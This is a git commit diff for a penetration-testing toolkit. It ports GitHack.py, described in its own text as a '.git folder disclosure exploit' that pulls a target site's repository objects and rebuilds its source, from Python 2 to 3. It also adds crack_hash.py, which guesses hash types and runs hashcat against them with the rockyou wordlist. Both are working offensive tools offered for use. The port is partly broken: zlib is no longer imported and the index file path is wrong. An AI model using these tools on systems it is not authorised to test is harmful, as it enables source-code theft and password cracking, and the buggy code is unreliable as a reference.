Browse Source

GitHack 2 -> 3, crack hash, requirements

Roman Hergenreder 3 years ago
parent
commit
4c265dc683

+ 61 - 69
GitHack.py

@@ -1,39 +1,26 @@
 #!/usr/bin/env python
-# -*- encoding: utf-8 -*-
 
-import sys
-import urllib2
-import os
-import urlparse
-import zlib
+from urllib.parse import urlparse
 import threading
-import Queue
-import re
-import time
-import ssl
-
-#!/usr/bin/env python
-#
-# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt
-#
-
-import binascii
 import collections
-import mmap
+import binascii
+import requests
 import struct
+import queue
+import time
+import ssl
 import sys
-
+import os
+import re
 
 def check(boolean, message):
     if not boolean:
-        import sys
-        print "error: " + message
-        sys.exit(1)
-
+        print("error: " + message)
+        exit(1)
 
 def parse(filename, pretty=True):
-    with open(filename, "rb") as o:
-        f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)
+    with open(filename, "rb") as f:
+        # f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)
 
         def read(format):
             # "All binary numbers are in network byte order."
@@ -137,41 +124,30 @@ def parse(filename, pretty=True):
 
             padlen = (8 - (entrylen % 8)) or 8
             nuls = f.read(padlen)
-            check(set(nuls) == set(['\x00']), "padding contained non-NUL")
+            check(set(nuls) == set([0]), "padding contained non-NUL")
 
             yield entry
 
         f.close()
 
-context = ssl._create_unverified_context()
-if len(sys.argv) == 1:
-    msg = """
-A `.git` folder disclosure exploit. By LiJieJie
-
-Usage: GitHack.py http://www.target.com/.git/
-
-bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
-"""
-    print msg
-    sys.exit(0)
-
-
 class Scanner(object):
     def __init__(self):
         self.base_url = sys.argv[-1]
-        self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')
+
+        self.domain = urlparse(sys.argv[-1]).netloc.replace(':', '_')
         if not os.path.exists(self.domain):
             os.mkdir(self.domain)
-        print '[+] Download and parse index file ...'
+
+        print('[+] Download and parse index file ...')
         data = self._request_data(sys.argv[-1] + '/index')
-        with open('index', 'wb') as f:
+        with open('%s/index' % self.domain, 'wb') as f:
             f.write(data)
-        self.queue = Queue.Queue()
+        self.queue = queue.Queue()
         for entry in parse('index'):
             if "sha1" in entry.keys():
                 self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
                 try:
-                    print entry['name']
+                    print(entry['name'])
                 except Exception as e:
                     pass
         self.lock = threading.Lock()
@@ -180,45 +156,49 @@ class Scanner(object):
 
     @staticmethod
     def _request_data(url):
-        request = urllib2.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
-        return urllib2.urlopen(request, context=context).read()
+        print(url)
+        res = requests.get(url, headers={'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
+        if res.status_code != 200:
+            raise Exception("Server returned: %d %s" % (res.status_code, res.reason))
+
+        return res.content
 
     def _print(self, msg):
         self.lock.acquire()
         try:
-            print msg
+            print(msg)
         except Exception as e:
             pass
         self.lock.release()
 
     def get_back_file(self):
+
         while not self.STOP_ME:
+
             try:
                 sha1, file_name = self.queue.get(timeout=0.5)
             except Exception as e:
                 break
-            for i in range(3):
+
+            try:
+                folder = '/objects/%s/' % sha1[:2]
+                data = self._request_data(self.base_url + folder + sha1[2:])
                 try:
-                    folder = '/objects/%s/' % sha1[:2]
-                    data = self._request_data(self.base_url + folder + sha1[2:])
-                    try:
-                        data = zlib.decompress(data)
-                    except:
-                        self._print('[Error] Fail to decompress %s' % file_name)
+                    data = zlib.decompress(data)
                     data = re.sub(r'blob \d+\00', '', data)
-                    target_dir = os.path.join(self.domain, os.path.dirname(file_name))
-                    if target_dir and not os.path.exists(target_dir):
-                        os.makedirs(target_dir)
-                    with open(os.path.join(self.domain, file_name), 'wb') as f:
-                        f.write(data)
-                    self._print('[OK] %s' % file_name)
-                    break
-                except urllib2.HTTPError, e:
-                    if str(e).find('HTTP Error 404') >= 0:
-                        self._print('[File not found] %s' % file_name)
-                        break
-                except Exception as e:
-                    self._print('[Error] %s' % str(e))
+                except:
+                    # self._print('[Error] Fail to decompress %s' % file_name)
+                    pass
+
+                target_dir = os.path.join(self.domain, os.path.dirname(file_name))
+                if target_dir and not os.path.exists(target_dir):
+                    os.makedirs(target_dir)
+                with open(os.path.join(self.domain, file_name), 'wb') as f:
+                    f.write(data)
+                self._print('[OK] %s' % file_name)
+            except Exception as e:
+                self._print('[Error] %s' % str(e))
+
         self.exit_thread()
 
     def exit_thread(self):
@@ -233,12 +213,24 @@ class Scanner(object):
 
 
 if __name__ == '__main__':
+    context = ssl._create_unverified_context()
+    if len(sys.argv) == 1:
+        msg = """
+    A `.git` folder disclosure exploit. By LiJieJie
+
+    Usage: GitHack.py http://www.target.com/.git/
+
+    bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
+    """
+        print(msg)
+        exit()
+
     s = Scanner()
     s.scan()
     try:
         while s.thread_count > 0:
             time.sleep(0.1)
-    except KeyboardInterrupt, e:
+    except KeyboardInterrupt as e:
         s.STOP_ME = True
         time.sleep(1.0)
-        print 'User Aborted.'
+        print('User Aborted.')

+ 3 - 3
autorecon.py

@@ -147,7 +147,7 @@ def calculate_elapsed_time(start_time):
     return ', '.join(elapsed_time)
 
 port_scan_profiles_config_file = 'port-scan-profiles.toml'
-with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r') as p:
+with open(os.path.join(rootdir, 'autorecon_config', port_scan_profiles_config_file), 'r') as p:
     try:
         port_scan_profiles_config = toml.load(p)
 
@@ -157,13 +157,13 @@ with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r')
     except toml.decoder.TomlDecodeError as e:
         fail('Error: Couldn\'t parse {port_scan_profiles_config_file} config file. Check syntax and duplicate tags.')
 
-with open(os.path.join(rootdir, 'config', 'service-scans.toml'), 'r') as c:
+with open(os.path.join(rootdir, 'autorecon_config', 'service-scans.toml'), 'r') as c:
     try:
         service_scans_config = toml.load(c)
     except toml.decoder.TomlDecodeError as e:
         fail('Error: Couldn\'t parse service-scans.toml config file. Check syntax and duplicate tags.')
 
-with open(os.path.join(rootdir, 'config', 'global-patterns.toml'), 'r') as p:
+with open(os.path.join(rootdir, 'autorecon_config', 'global-patterns.toml'), 'r') as p:
     try:
         global_patterns = toml.load(p)
         if 'pattern' in global_patterns:

+ 0 - 0
config/global-patterns.toml → autorecon_config/global-patterns.toml


+ 0 - 0
config/port-scan-profiles.toml → autorecon_config/port-scan-profiles.toml


+ 0 - 0
config/service-scans.toml → autorecon_config/service-scans.toml


+ 192 - 0
crack_hash.py

@@ -0,0 +1,192 @@
+#!/usr/bin/env python
+
+import sys
+import requests
+import subprocess
+import enum
+import re
+import tempfile
+import base64
+import io
+from bs4 import BeautifulSoup
+
+HEX_PATTERN = re.compile("^[a-fA-F0-9]+$")
+B64_PATTERN = re.compile("^[a-zA-Z0-9+/=]+$")
+B64_URL_PATTERN = re.compile("^[a-zA-Z0-9=_-]+$")
+
+class HashType(enum.Enum):
+
+    # MD5
+    RAW_MD4 = 900
+    RAW_MD5 = 0
+    MD5_PASS_SALT = 10
+    MD5_SALT_PASS = 20
+
+    # SHA1
+    RAW_SHA1 = 100
+    SHA1_PASS_SALT = 110
+    SHA1_SALT_PASS = 120
+
+    # SHA2
+    RAW_SHA2_224 = 1300
+    RAW_SHA2_256 = 1400
+    RAW_SHA2_384 = 10800
+    RAW_SHA2_512 = 1700
+    SHA512_PASS_SALT = 1710
+    SHA512_SALT_PASS = 1720
+
+    # SHA3
+    RAW_SHA3_224 = 17300
+    RAW_SHA3_256 = 17400
+    RAW_SHA3_384 = 17500
+    RAW_SHA3_512 = 17600
+
+    # Keccak
+    RAW_KECCAK_224 = 17700
+    RAW_KECCAK_256 = 17800
+    RAW_KECCAK_384 = 17900
+    RAW_KECCAK_512 = 18000
+
+    # Ripe-MD
+    RAW_RIPEMD_160 = 6000
+
+    # Crypt
+    CRYPT_MD5 = 500
+    CRYPT_BLOWFISH = 3200
+    CRYPT_SHA256 = 7400
+    CRYPT_SHA512 = 1800
+    CRYPT_APACHE = 1600
+
+class Hash:
+
+    def __init__(self, hash):
+        self.hash = hash
+        self.salt = None
+        self.isSalted = False
+        self.type = []
+        self.cracked = None
+        self.findType()
+
+    def findType(self):
+
+        raw_hash = self.hash
+        if raw_hash[0] == "$":
+            crypt_parts = list(filter(None, raw_hash.split("$")))
+            crypt_type = crypt_parts[0]
+            self.isSalted = len(crypt_parts) > 2
+            if crypt_type == "1":
+                self.type.append(HashType.CRYPT_MD5)
+            elif crypt_type.startswith("2"):
+                self.type.append(HashType.CRYPT_BLOWFISH)
+            elif crypt_type == "5":
+                self.type.append(HashType.CRYPT_SHA256)
+            elif crypt_type == "6":
+                self.type.append(HashType.CRYPT_SHA512)
+            elif crypt_type == "apr1":
+                self.type.append(HashType.CRYPT_APACHE)
+        else:
+            self.isSalted = ":" in raw_hash
+            if self.isSalted:
+                raw_hash, self.salt = raw_hash.split(":")
+
+        # Base64 -> hex
+        try:
+            if not HEX_PATTERN.match(raw_hash):
+
+                if B64_URL_PATTERN.match(raw_hash):
+                    raw_hash = raw_hash.replace("-","+").replace("_","/")
+                if B64_PATTERN.match(raw_hash):
+                    raw_hash = base64.b64decode(raw_hash.encode("UTF-8")).decode("UTF-8").hex()
+
+                if self.isSalted:
+                    self.hash = raw_hash + ":" + self.salt
+                else:
+                    self.hash = raw_hash
+        except:
+            pass
+
+        if HEX_PATTERN.match(raw_hash):
+            hash_len = len(raw_hash)
+            if hash_len == 32:
+                if self.isSalted:
+                    self.type.append(HashType.MD5_PASS_SALT)
+                    self.type.append(HashType.MD5_SALT_PASS)
+                else:
+                    self.type.append(HashType.RAW_MD5)
+                    self.type.append(HashType.RAW_MD4)
+            elif hash_len == 40:
+                if self.isSalted:
+                    self.type.append(HashType.SHA1_PASS_SALT)
+                    self.type.append(HashType.SHA1_SALT_PASS)
+                else:
+                    self.type.append(HashType.RAW_SHA1)
+                    self.type.append(HashType.RAW_MD4)
+                    self.type.append(HashType.RAW_RIPEMD_160)
+            elif hash_len == 96:
+                if not self.isSalted:
+                    self.type.append(HashType.RAW_SHA2_384)
+                    self.type.append(HashType.RAW_SHA3_384)
+                    self.type.append(HashType.RAW_KECCAK_384)
+            elif hash_len == 128:
+                if self.isSalted:
+                    self.type.append(HashType.SHA512_PASS_SALT)
+                    self.type.append(HashType.SHA512_SALT_PASS)
+                else:
+                    self.type.append(HashType.RAW_SHA2_512)
+                    self.type.append(HashType.RAW_SHA3_512)
+                    self.type.append(HashType.RAW_KECCAK_256)
+
+        if len(self.type) == 0:
+            print("%s: Unknown hash" % self.hash)
+
+if len(sys.argv) < 2:
+    print("Usage: %s <file>" % sys.argv[0])
+    exit(1)
+
+hashes = [Hash(x) for x in filter(None, [line.strip() for line in open(sys.argv[1],"r").readlines()])]
+
+uncracked_hashes = { }
+for hash in hashes:
+    if hash.type:
+        for t in hash.type:
+            if t not in uncracked_hashes:
+                uncracked_hashes[t] = []
+            uncracked_hashes[t].append(hash)
+
+if len(uncracked_hashes) > 0:
+    uncracked_types = list(uncracked_hashes.keys())
+    num_types = len(uncracked_types)
+    if num_types > 0:
+        print("There are multiple uncracked hashes left with different hash types, choose one to proceed with hashcat:")
+        print()
+
+        i = 0
+        for t,lst in uncracked_hashes.items():
+            print("%d.\t%s:\t%d hashe(s)" % (i, str(t)[len("HashType."):], len(lst)))
+            i += 1
+
+        # Ask user…
+        selected = None
+        while selected is None or selected < 0 or selected >= num_types:
+            try:
+                selected = int(input("Your Choice: ").strip())
+                if selected >= 0 and selected < num_types:
+                    break
+            except Exception as e:
+                if type(e) in [EOFError, KeyboardInterrupt]:
+                    print()
+                    exit()
+
+            print("Invalid input")
+        selected_type = uncracked_types[selected]
+    else:
+        selected_type = uncracked_types[0]
+
+    fp = tempfile.NamedTemporaryFile()
+    for hash in uncracked_hashes[selected_type]:
+        fp.write(b"%s\n" % hash.hash.encode("UTF-8"))
+    fp.flush()
+
+    proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, "/usr/share/wordlists/rockyou.txt", "--force"])
+    proc.wait()
+    fp.close()

+ 6 - 0
requirements.txt

@@ -0,0 +1,6 @@
+netifaces==0.10.9
+colorama==0.4.3
+requests==2.23.0
+toml==0.10.0
+paramiko==2.7.1
+beautifulsoup4==4.9.1